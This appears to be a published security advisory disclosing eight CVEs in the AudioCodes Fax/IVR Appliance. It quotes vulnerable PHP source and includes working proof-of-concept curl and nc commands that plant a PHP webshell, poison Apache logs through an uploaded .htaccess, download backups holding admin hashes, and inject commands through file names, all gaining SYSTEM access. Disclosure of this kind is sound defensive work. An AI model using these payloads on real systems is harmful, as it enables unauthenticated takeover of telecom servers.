📄 AudioCodes Fax/IVR Appliance 2.6.23 File Upload / Code Execution / Privilege Escalation

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    ## Advisory Information
    
    Title: 8 vulnerabilities in AudioCodes Fax/IVR Appliance
    Advisory URL: https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt
    Blog URL: https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html
    Date published: 2025-11-20
    Vendors contacted: Audiocodes
    Release mode: Released
    CVE: CVE-2025-34328, CVE-2025-34329, CVE-2025-34330, CVE-2025-34331, CVE-2025-34332, CVE-2025-34333, CVE-2025-34334, CVE-2025-34335
    
    
    
    ## Product description
    
    > AudioCodes' Fax Server (Fax to Mail and Mail to Fax) application is a powerful and flexible software
    > application used to manage inbound fax calls and outbound mail-to-fax calls, delivering them
    > efficiently to their correct destination.
    > 
    > From https://www.audiocodes.com/media/14442/fax-server-and-auto-attendant-ivr-administrators-guide-ver-26x.pdf
    
    
    
    ## Vulnerabilities Summary
    
    Vulnerable versions: all versions.
    
    The summary of the vulnerabilities is:
    
    1. CVE-2025-34328 - Pre-authenticated Remote Code Execution #1
    2. CVE-2025-34329 - Pre-authenticated Remote Code Execution #2
    3. CVE-2025-34330 - Pre-authenticated File upload vulnerability
    4. CVE-2025-34331 - Pre-authenticated File read
    5. CVE-2025-34332 - Local Privilege Escalation #1
    6. CVE-2025-34333 - Local Privilege Escalation #2
    7. CVE-2025-34334 - Post-authenticated Command Injection and Local Privilege Escalation
    8. CVE-2025-34335 - Post-authenticated Command Injection
    
    
    _Miscellaneous notes_:
    
    The critical vulnerabilities have been confirmed to be present in the latest public version.
    
    Other vulnerabilities I have also identified require authentication, therefore the security risk is considered low to medium:
    
    - - An attacker with admin privileges in the web interface can execute commands as `NT AUTHORITY\SYSTEM` in several ways;
    - - An attacker with a local account on the server will very quickly gain `NT AUTHORITY\SYSTEM` privileges, as file and directory permissions are insecure everywhere.
    
    Vulnerabilities #1, #2 #3 and #4 were shared with Audiocodes PSIRT but communication was almost nonexistent (see Report Timeline): AudioCodes PSIRT never provided any information or feedback, even with my regular follow-up emails. I also believe that this solution is EOL since December 31, 2024.
    
    Vulnerabilities #5, #7 and #8 were discovered during an audit of an "unsupported" version of the AudioCodes Fax/IVR Appliance that was incorrectly patched. New unsupported versions were found in the vendor AWS S3 bucket that allows directory listing (https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/) - this bucket is used by the vendor to distribute some of its solutions. Surprisingly, the root causes were not addressed and the vulnerabilities #1 through #4 were still present. Vulnerability #6 was simply discovered during the creation of this security advisory to illustrate insecure permissions.
    
    I didn't spend much time analyzing this solution (installation took 10 minutes and the first pre-auth RCE was found in about 5 minutes), but the existing PHP code presents a considerable attack surface.
    
    Regarding the security status of this product, it is also quite surprising to find no public CVEs. I assume this solution has never been audited.
    
    Unfortunately, the vendor has not followed their official security vulnerability handling. AudioCode's PSIRT team has not responded, and security advisories have not been published.
    
    Additionally, It is also worth noting that Audiocodes Session Border Controllers (SBCs) were quietly patched in 2024 to address the misfortune cookie vulnerability (CVE-2014-9222). This exploit was tested on the Median Virtual Edition and Mediant 800 SBCs.
    
        kali% curl -kv --header 'Cookie: C1012213=1' https:///192.168.0.2/
        -> /acBin/TPApp will segfault in the remote appliance/ARM device
    
    - - firmware sbc-F7.40A.005.619 is vulnerable.
    - - firmware sbc-F7.40A.500.781 is not vulnerable.
    
    No security bulletins were found regarding this silently patched vulnerability and it is recommended to use the latest firmware version of Audiocodes Session Border Controllers.
    
    _Impacts_
    
    An attacker can compromise AudioCodes Fax/IVR Appliance without authentication and move laterally in the telecom and IT infrastructure.
    
    An attacker can compromise outdated AudioCodes Session Border Controllers with the misfortune cookie vulnerability.
    
    _Recommendations_
    
    Do not use AudioCodes Fax/IVR Appliance.
    
    Do not expose the AudioCodes Fax/IVR Appliance to the network.
    
    Use secure permissions.
    
    Remove vulnerable webpages.
    
    Update Audiocodes Session Border Controllers.
    
    
    
    ## Identification of the solution
    
    The latest solution (AudioCodes Fax/IVR Appliance Installer, Version 2.6.230.000) can be found at:
    
    - - https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Download/AC_FAX_IVR_IW.html
    - - https://downloads-audiocodes.s3.eu-central-1.amazonaws.com/Fax_IVR/FaxAtt_Setup_2.6.230.000.zip
    
    [please use the HTML version at https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html]
    
    
    
    ## Details - Pre-authenticated Remote Code Execution #1
    
    The vulnerability is located in the `C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxScript.php` PHP file. This file allows an attacker to upload files without authentication.
    
    Content of `C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxScript.php`:
    
    [code:php]
      1 <?php
      2 $dir  = dirname(dirname(__FILE__));
      3 require_once $dir.'/classes/SystemStatus.class.php';
      4 
      5 //$scriptName = $_REQUEST['scriptName'];
      6 $action = isset($_REQUEST["action"]) ? $_REQUEST["action"] : "";
      7 
      8 if(!empty($action)){
      9         if($action == 'getScripts'){
    [...]
     26         }
     27         else if($action == 'saveScript'){
     28                 $scriptValue = $_POST['value']; // [1] - attacker-controlled value
     29                 $scriptName = $_POST['name'];   // [2] - attacker-controlled value
     30 
     31                 $systemStatus = new SystemStatus();
     32                 $sysInfo = $systemStatus->GetSysInfo();
     33                 $path = $sysInfo[SystemStatus::SCRIPTS_DIR];
     34 
     35                 $ok = 'false';
     36                 $ok = file_put_contents($path."/".$scriptName, $scriptValue); // [3] - insecure file write with attacker-controlled values
     37                 if($ok === true){
     38                         $ok = 'true';
     39                 }
     40                 ob_clean();
     41                 echo ($ok);
     42                 die;
     43         }
     44 }
    [/code]
    
    As shown in the source code, there is no authentication.
    
    Without authentication, a remote attacker can access line 36 to write any file under `NT AUTHORITY\system` (Apache runs as `NT AUTHORITY\system`) because all the arguments for the `file_put_contents()` function are under attacker's control.
    
    A PoC is provided below. A webshell is uploaded and a command is executed:
    
        kali% curl -kv "http://10.105.0.239:8090/AudioCodes_files/utils/IVR/diagram/ajaxScript.php?action=saveScript" -d "name=F2MAdmin/F2E/webshell4.php&value=<?php system(\$_GET['c']);?>"
        *   Trying 10.105.0.239:8090...
        * Connected to 10.105.0.239 (10.105.0.239) port 8090
        * using HTTP/1.x
        > POST /AudioCodes_files/utils/IVR/diagram/ajaxScript.php?action=saveScript HTTP/1.1
        > Host: 10.105.0.239:8090
        > User-Agent: curl/8.13.0
        > Accept: */*
        > Content-Length: 65
        > Content-Type: application/x-www-form-urlencoded
        > 
        * upload completely sent off: 65 bytes
        < HTTP/1.1 200 OK
        < Date: Mon, 26 May 2025 14:44:38 GMT
        < Server: Apache/2.4.62 (Win32) OpenSSL/3.1.7 PHP/8.1.31
        < X-Powered-By: PHP/8.1.31
        < Set-Cookie: PHPSESSID=301ccae912e0c2aee878361e74d5bb30; path=/
        < Expires: Thu, 19 Nov 1981 08:52:00 GMT
        < Cache-Control: no-store, no-cache, must-revalidate
        < Pragma: no-cache
        < Content-Length: 2
        < Content-Type: text/html; charset=UTF-8
        < 
        * Connection #0 to host 10.105.0.239 left intact
        %
        kali% curl "http://10.105.0.239:8090/webshell4.php?c=whoami"
        nt authority\system
        kali% 
    
    The resulting commands will be executed as `NT AUTHORITY\system` (meaning full control of the remote server without authentication).
    
    If the `SystemStatus::SCRIPTS_DIR` variable (used for the `$path` variable in line 33) is set to a specific directory, the attacker can simply specify `name=/../../../../../../../F2MAdmin/F2E/webshell4.php` as a path traversal in the HTTP request to traverse the directory and write the webshell in the `C:\F2MAdmin\F2E\` directory (corresponding to the `DocumentRoot` directory).
    
    
    
    ## Details - Pre-authenticated Remote Code Execution #2
    
    The `C:\F2MAdmin\F2E\AudioCodes_files\ajaxBackupUploadFile.php` PHP script does not implement authentication, allowing any remote attacker to upload any file and overwrite any backup file in the default backup folder (default is `C:\`).
    
    Content of `C:\F2MAdmin\F2E\AudioCodes_files\ajaxBackupUploadFile.php`:
    
    [code:php]
      1 <?php
      2 require_once 'utils/IVR/classes/IvrBackup.class.php';
      3 require_once 'utils/IVR/IvrRestUtil.php';
      4 require_once 'utils/IVR/diagram/constants.php';
      5 
      6 $ivrBackup_ins = new IvrBackups();
      7 $target_path = $ivrBackup_ins->GetBackupFolderPath()."\\";
      8 
      9 
     10 //$target_path = "C:\\F2MAdmin\\tmp\\";
     11 
     12 if(!is_dir($target_path))
     13         mkdir($target_path, 0777, true);
     14 /* Add the original filename to our target path.  
     15 Result is "uploads/filename.extension" */
     16 $target_path = $target_path . basename( $_FILES['fileToUpload']['name']);
     17 if(move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_path)) {
     18     echo "The file ".  basename( $_FILES['fileToUpload']['name']).
     19     " has been uploaded.";
     20 } else{
     21     echo "There was an error uploading the file, please try again!";
     22 }
     23 die;
    [/code]
    
    Exploitation is explained below:
    
    1. With `/AudioCodes_files/ajaxBackupUploadFile.php`, upload of a `.htaccess` file in `C:\` containing this line:
    
    ```
    php_value auto_prepend_file C:/Apache24/logs/access.log
    ```
    
    You can also skip step 2 and directly include a base64-encoded PHP webshell inside the `.htaccess` file with `auto_prepend_file = "data:;base64,BASE64(webshell)"` but it will probably be detected and blocked by any EDR.
    
    2. Apache logs will be used to store a PHP webshell by requesting `/OUTPUT:<?php system($_GET['c']);?>` (this is an invalid HTTP request as we do not want to URL-encode the space into `%20`). The `OUTPUT` keyword  is used to filter the interesting part of the resulting webpages in step 3 since the answer will also contain some HTML tags and JavaScript code.
    
    3. Getting Remote Code Execution by reaching any PHP page because the `C:\Apache24\logs\access.log` file will now be appended and it contains a PHP webshell.
    
    PoC:
    
        kali% curl -F "fileToUpload=php_value auto_prepend_file C:/Apache24/logs/access.log;filename=.htaccess" http://10.105.0.239:8090/AudioCodes_files/ajaxBackupUploadFile.php
        The file .htaccess has been uploaded.
    
        kali% echo "OUTPUT:<?php system(\$_GET['c']);?>" | nc -v 10.105.0.239 8090
        10.105.0.239: inverse host lookup failed: Unknown host
        (UNKNOWN) [10.105.0.239] 8090 (?) open
        HTTP/1.1 400 Bad Request
        Date: 26 May 2025 14:54:31 GMT
        Server: Apache/2.4.62 (Win32) OpenSSL/3.1.7 PHP/8.1.31
        Content-Length: 226
        Connection: close
        Content-Type: text/html; charset=iso-8859-1
        
        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
        <html><head>
        <title>400 Bad Request</title>
        </head><body>
        <h1>Bad Request</h1>
        <p>Your browser sent a request that this server could not understand.<br />
        </p>
        </body></html>
        kali% 
        
        kali% curl -s 'http://10.105.0.239:8090/?c=whoami' | grep OUTPUT
        10.105.0.238 - - [26/May/2025:14:54:34 -0700] "OUTPUT:nt authority\system
        kali% curl -s 'http://10.105.0.239:8090/?c=dir' | grep -A 10 OUTPUT
        10.105.0.238 - - [26/May/2025:14:54:39 -0700] "OUTPUT: Volume in drive C has no label.
         Volume Serial Number is DECE-1ED7
        
         Directory of C:\F2MAdmin\F2E
        
        05/26/2025  07:37 AM    <DIR>          .
        05/26/2025  07:37 AM    <DIR>          ..
        08/22/2023  12:37 PM            13,964 agent.php
        08/22/2023  12:37 PM               342 agentLogout.php
        08/22/2023  12:37 PM            27,611 AudioCodes.php
        05/26/2025  07:40 AM    <DIR>          AudioCodes_files
        kali% 
    
    
    
    ## Details - Pre-authenticated File upload vulnerability
    
    The `C:\F2MAdmin\F2E\AudioCodes_files\utils\IVR\diagram\ajaxPromptUploadFile.php` PHP script does not implement authentication, allowing any remote attacker to upload any file in `C:\F2MAdmin\tmp`.
    
    PoC:
    
        kali% curl -F "fileToUpload=test;filename=test2.txt" http://10.105.0.239:8090/AudioCodes_files/utils/IVR/diagram/ajaxPromptUploadFile.php
        The file test2.txt has been uploaded
        kali%
    
    The resulting file will be stored in `C:\F2mAdmin\tmp`.
    
    
    
    ## Details - Pre-authenticated File read
    
    The `C:\F2MAdmin\F2E\AudioCodes_files\download.php` PHP script does not implement authentication.
    
    This script allows to download files stored in the appliance depending on the authorized extensions (e.g., zip, txt, c2v, ...).
    
    This vulnerability allows an attacker to download the backup files and compromise the server since they contain hashes of users.
    
    The format of the backup filename can be easily guessed (`BACKUP_Day_DD_Month_YY_HH_MM_SS.zip`).
    
    PoC:
    
        kali% curl 'http://10.105.0.239:8090/AudioCodes_files/download.php?baseDir=C:\F2MAdmin\backup\&f=BACKUP_Mon_26_May_25_20_23_42.zip' --output BACKUP_Mon_26_May_25_20_23_42.zip
          % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                         Dload  Upload   Total   Spent    Left  Speed
        100  3739  100  3739    0     0   139k      0 --:--:-- --:--:-- --:--:--  140k
        kali% 7z l BACKUP_Mon_26_May_25_20_23_42.zip
        
        7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
         64-bit locale=en_US.UTF-8 Threads:8 OPEN_MAX:1024, ASM
        
        Scanning the drive for archives:
        1 file, 3739 bytes (4 KiB)
        
        Listing archive: BACKUP_Mon_26_May_25_20_23_42.zip
        
        --
        Path = BACKUP_Mon_26_May_25_20_23_42.zip
        Type = zip
        Physical Size = 3739
        
           Date      Time    Attr         Size   Compressed  Name
        ------------------- ----- ------------ ------------  ------------------------
        2025-05-26 10:23:42 .....         5120          402  dbcdr.db
        2025-05-26 10:23:44 .....          455          154  ErrorLog.txt
        2025-05-26 10:23:42 .....        73728         2484  f2e.db3
        2025-05-26 10:23:44 .....          678          209  log.txt
        2025-05-26 10:23:44 .....            2            2  ovoc.json
        ------------------- ----- ------------ ------------  ------------------------
        2025-05-26 10:23:44              79983         3251  5 files
        kali% unzip BACKUP_Mon_26_May_25_20_23_42.zip
        Archive:  BACKUP_Mon_26_May_25_20_23_42.zip
          inflating: dbcdr.db                
          inflating: ErrorLog.txt            
          inflating: f2e.db3                 
          inflating: log.txt                 
         extracting: ovoc.json               
        kali% sqlite3 f2e.db3
        SQLite version 3.46.1 2024-08-13 09:16:08
        Enter ".help" for usage hints.
        sqlite> .dump
        [...]
        INSERT INTO ADMIN VALUES(1,'Admin','e3afed0047b08059d0fada10f400c1e5',NULL,NULL,0,1);
        [...]
    
    
    
    ## Details - Local Privilege Escalation #1
    
    Some batch files are executed as `NT AUTHORITY\system` with the `system()` function. Unfortunately, these batch files can be overwritten by local users due to insecure permissions.
    
    Content of `C:\F2E\AudioCodes_files\ajaxPost.php`:
    
    [code:php]
      1 <?php
    [...]
    132                         $cmd = "cmd /c "."C:\\F2MAdmin\\F2E\\AudioCodes_files\\utils\\Services\\";
    133                         $stop = $cmd."stop.bat";
    134                         $start = $cmd."start.bat";
    135                         $restart = $cmd."restart.bat";
    136                         if($serviceName == Services::FAX_SERVER_NAME || $serviceName == Services::FAX_ENGINE_NAME){
    137                                 if($action != Actions::START ){
    138                                         system($stop.' "'.Services::FAX_SERVER_NAME.'"');
    139                                         if($serviceName == Services::FAX_ENGINE_NAME)
    140                                                 system($stop.' "'.Services::FAX_ENGINE_NAME.'"');
    141                                 }
    142                                 if($action != Actions::STOP){
    143                                         system($start.' "'.Services::FAX_ENGINE_NAME.'"'); // start always
    144                                         system($start.' "'.Services::FAX_SERVER_NAME.'"');
    [/code]
    
    These files can be modified by any user on the server, allowing them to obtain `NT AUTHORITY\SYSTEM` privileges:
    
    [please use the HTML version at https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html]
    
    Using `icacls`:
    
        C:\F2MAdmin\F2E\AudioCodes_files\utils\Services> icacls *
        restart.bat BUILTIN\Administrators:(I)(F)
                    NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Users:(I)(RX)
                    NT AUTHORITY\Authenticated Users:(I)(M)
        
        RestartBlade.bat BUILTIN\Administrators:(I)(F)
                         NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Users:(I)(RX)
                         NT AUTHORITY\Authenticated Users:(I)(M)
        
        RestartEmail.bat BUILTIN\Administrators:(I)(F)
                         NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Users:(I)(RX)
                         NT AUTHORITY\Authenticated Users:(I)(M)
        
        RestartFaxReceiver.bat BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               NT AUTHORITY\Authenticated Users:(I)(M)
        
        RestartService.bat BUILTIN\Administrators:(I)(F)
                           NT AUTHORITY\SYSTEM:(I)(F)
                           BUILTIN\Users:(I)(RX)
                           NT AUTHORITY\Authenticated Users:(I)(M)
        
        RestartWatchdog.bat BUILTIN\Administrators:(I)(F)
                            NT AUTHORITY\SYSTEM:(I)(F)
                            BUILTIN\Users:(I)(RX)
                            NT AUTHORITY\Authenticated Users:(I)(M)
        
        Service.class.php BUILTIN\Administrators:(I)(F)
                          NT AUTHORITY\SYSTEM:(I)(F)
                          BUILTIN\Users:(I)(RX)
                          NT AUTHORITY\Authenticated Users:(I)(M)
        
        ServicesKeys.class.php BUILTIN\Administrators:(I)(F)
                               NT AUTHORITY\SYSTEM:(I)(F)
                               BUILTIN\Users:(I)(RX)
                               NT AUTHORITY\Authenticated Users:(I)(M)
        
        start.bat BUILTIN\Administrators:(I)(F)
                  NT AUTHORITY\SYSTEM:(I)(F)
                  BUILTIN\Users:(I)(RX)
                  NT AUTHORITY\Authenticated Users:(I)(M)
        
        startCommetrex.bat BUILTIN\Administrators:(I)(F)
                           NT AUTHORITY\SYSTEM:(I)(F)
                           BUILTIN\Users:(I)(RX)
                           NT AUTHORITY\Authenticated Users:(I)(M)
        
        startService.bat BUILTIN\Administrators:(I)(F)
                         NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Users:(I)(RX)
                         NT AUTHORITY\Authenticated Users:(I)(M)
        
        startService1.bat BUILTIN\Administrators:(I)(F)
                          NT AUTHORITY\SYSTEM:(I)(F)
                          BUILTIN\Users:(I)(RX)
                          NT AUTHORITY\Authenticated Users:(I)(M)
        
        startService2.bat BUILTIN\Administrators:(I)(F)
                          NT AUTHORITY\SYSTEM:(I)(F)
                          BUILTIN\Users:(I)(RX)
                          NT AUTHORITY\Authenticated Users:(I)(M)
        
        stop.bat BUILTIN\Administrators:(I)(F)
                 NT AUTHORITY\SYSTEM:(I)(F)
                 BUILTIN\Users:(I)(RX)
                 NT AUTHORITY\Authenticated Users:(I)(M)
        
        stopCommetrex.bat BUILTIN\Administrators:(I)(F)
                          NT AUTHORITY\SYSTEM:(I)(F)
                          BUILTIN\Users:(I)(RX)
                          NT AUTHORITY\Authenticated Users:(I)(M)
        
        stopService.bat BUILTIN\Administrators:(I)(F)
                        NT AUTHORITY\SYSTEM:(I)(F)
                        BUILTIN\Users:(I)(RX)
                        NT AUTHORITY\Authenticated Users:(I)(M)
        
        stopService1.bat BUILTIN\Administrators:(I)(F)
                         NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Users:(I)(RX)
                         NT AUTHORITY\Authenticated Users:(I)(M)
        
        stopService2.bat BUILTIN\Administrators:(I)(F)
                         NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Users:(I)(RX)
                         NT AUTHORITY\Authenticated Users:(I)(M)
        
        y.txt BUILTIN\Administrators:(I)(F)
              NT AUTHORITY\SYSTEM:(I)(F)
              BUILTIN\Users:(I)(RX)
              NT AUTHORITY\Authenticated Users:(I)(M)
        
        Successfully processed 19 files; Failed processing 0 files
    
    
    
    ## Details - Local Privilege Escalation #2
    
    The `DocumentRoot` directory `C:\F2MAdmin\F2E` can be modified by any user due to insecure permissions.
    
    PoC - a webshell will be executed as `NT AUTHORITY\SYSTEM`: 
    
        Microsoft Windows [Version 10.0.19043.928]
        (c) Microsoft Corporation. All rights reserved.
        
        C:\Users\testuser>whoami
        desktop-to41lr8\testuser
        
        C:\Users\testuser>icacls C:\F2MAdmin\F2E
        C:\F2MAdmin\F2E BUILTIN\Administrators:(I)(OI)(CI)(F)
                        NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                        BUILTIN\Users:(I)(OI)(CI)(RX)
                        NT AUTHORITY\Authenticated Users:(I)(M)
                        NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
        
        Successfully processed 1 files; Failed processing 0 files
        
        C:\Users\testuser>echo "<?php system('whoami');?>" > C:\F2MAdmin\F2E\a.php
        
        C:\Users\testuser>curl http://127.0.0.1:8090/a.php
        "nt authority\system
        "
        
        C:\Users\testuser>
    
    I haven't performed a comprehensive analysis, but additional Local Privilege Escalation vulnerabilities likely exist.
    
    
    
    ## Details - Post-authenticated Command Injection and Local Privilege Escalation
    
    In order to test the Fax configurattion, a batch file with attacker-controlled value will be created and then executed. Variables are not sanitized and can be used to execute additional malicious commands.
    
    Content of `C:\F2E\AudioCodes_files\TestFax.php`:
    
    [code:php]
      1 <?php
    [...]
     10 $FromNumber = isset($_REQUEST["FromNumber"]) ? trim($_REQUEST["FromNumber"]) : '';
     11 $ToNumber = isset($_REQUEST["ToNumber"]) ? trim($_REQUEST["ToNumber"]) : '';
     12 $src_ip = isset($_REQUEST["src_ip"]) ? trim($_REQUEST["src_ip"]) : '';
     13 $action = isset($_REQUEST["action"]) ? trim($_REQUEST["action"]) : '';
    [...]
     32 if(strcmp($action,"send")==0)
     33 {
     34         require_once 'utils/Global/GlobalUtils.class.php';
     35
     36         $command = "C:\\progra~2\\Commetrex\\otf\\bin\\faxsender -u sip:$ToNumber@$src_ip -f test_web_fax.tif -o mulaw -a T38 -c sip:$FromNumber@$src_ip -t";
     37         GlobalUtils::RunBatchFile($command);
    [/code]
    
    The batch file containing the command will be written inside the `C:\F2MAdmin\run` directory and then executed by accessing a network service without authentication:
    
    `http://localhost:9437/f2mw-service-api/?method=runBatch&fileName=tmp_1754486471_37.bat`
    
    An authenticated attacker can use variables containing malicious commands with `&` or newline characters - the additional commands will be executed as `NT AUTHORITY\system`.
    
    A local user can simply edit these files to inject malicious commands due to insecure permissions.
    
    
    
    ## Details - Post-authenticated Command Injection
    
    The `C:\F2MAdmin\F2E\AudioCodes_files\ActivateLicense.php` PHP script allows to upload a license file.
    
    When a license file containing a specific malicious extension is uploaded, this extension will be included in a command executed as `NT AUTHORITY\system`. There is no sanitization, so an attacker can upload `test.ext&command_to_execute` to execute `command_to_execute` as `NT AUTHORITY\system`:
    
    The execution flow is:
    
        $original_file (under the attacker's control, this is the name of the uploaded file) -> $ext -> $newfile -> $target_path -> $params and then exec($params).
    
    Content of `C:\F2MAdmin\F2E\AudioCodes_files\ActivateLicense.php`:
    
    [code:php]
      1 <?php
    104 $c2vdir = "C:/temp/";
    [...]
    242         $utime=time();
    243 
    244         $uday= date('d');
    245         $umonth= date('m');
    246         $uyear= date('y');
    247 
    248         $udate=$umonth.$uday.$uyear;
    249 
    250         $filename="a".$udate.$utime;
    251 
    252         
    253         $target_path = $c2vdir; 
    [...]
    257         $original_file = basename($_FILES['uploadedfile']['name']);
    258 
    259         $pos = strpos($original_file,".",0);
    260         $ext = trim(substr($original_file,$pos+1,strlen($original_file))," ");
    261 
    262         $newfile = $filename . "." . $ext;
    263 
    264         $target_path = $target_path . basename($newfile);
    [...]
    269                 $params = "--active -i ".$target_path;
    270                 $res = exec ("C:\\F2MAdmin\\F2E\\external\\fax_server_lic_cmdline.exe ".$params,$resArr);
    [/code]
    
    The generated filename is made of 'a', the MMDDYY values, the current Unix time and the extension.
    
    For example, if the filename used during the upload (`$_FILES['uploadedfile']['name']`) is set to `test.php&dir`, the `$params` variable will be set to `--active -i C:/temp/a0917251758121909.php&dir`.
    
    `dir` will be executed as `NT AUTHORITY\system` on line 270.
    
    
    
    ## Report Timeline
    * May 26 - 27, 2025: Security assessment performed on the AudioCodes IVR/FAX appliance.
    * May 28, 2025: Analysis sent to the AudioCodes PSIRT (vulnerabilities #1 to #3).
    * May 28, 2025: Analysis sent to the AudioCodes PSIRT (vulnerability #4).
    * May 29, 2025: Follow-up email sent to AudioCodes PSIRT.
    * May 29, 2025: AudioCodes PSIRT confirmed receipt of the analysis.
    * Jun, 13 2025: Follow-up email sent to AudioCodes PSIRT.
    * Jun, 13 2025: Out-of-office reply from the AudioCodes PSIRT.
    * Jul, 1 2025: Follow-up email sent to AudioCodes PSIRT. Asked details about patches, security bulletins and CVEs.
    * Jul 8, 2025: I learned that AudioCodes had released an unofficial version with security patches.
    * Jul 8, 2025: Confirmed that vulnerabilities were still present and new vulnerabilities were found.
    * Sep, 16 2025: Follow-up email sent to AudioCodes PSIRT. Asked details about patches, security bulletins and CVEs.
    * Sep, 16 2025: AudioCodes PSIRT indicated that their answer was already communicated on June 25.
    * Sep, 17 2025: Follow-up email sent to AudioCodes PSIRT stating that I did not receive any answer, CVEs or working patches. I requested an official response regarding the vulnerabilities.
    * Sep, 17, 2025: AudioCodes PSIRT forwarded my email to two AudioCodes employees and asked them to assist me.
    * Nov 19, 2025: Vulncheck assigned CVEs.
    * Nov 20, 2025: A security advisory is published.
    
    
    
    ## Credits
    
    These vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).
    
    
    
    ## References
    
    https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html
    
    https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt
    
    
    
    ## Disclaimer
    
    This advisory is licensed under a Creative Commons Attribution Non-Commercial
    Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
    
    The source code snippets in this security advisory are the intellectual property of Audiocodes and
    used to explain the root causes of the vulnerabilities.
    
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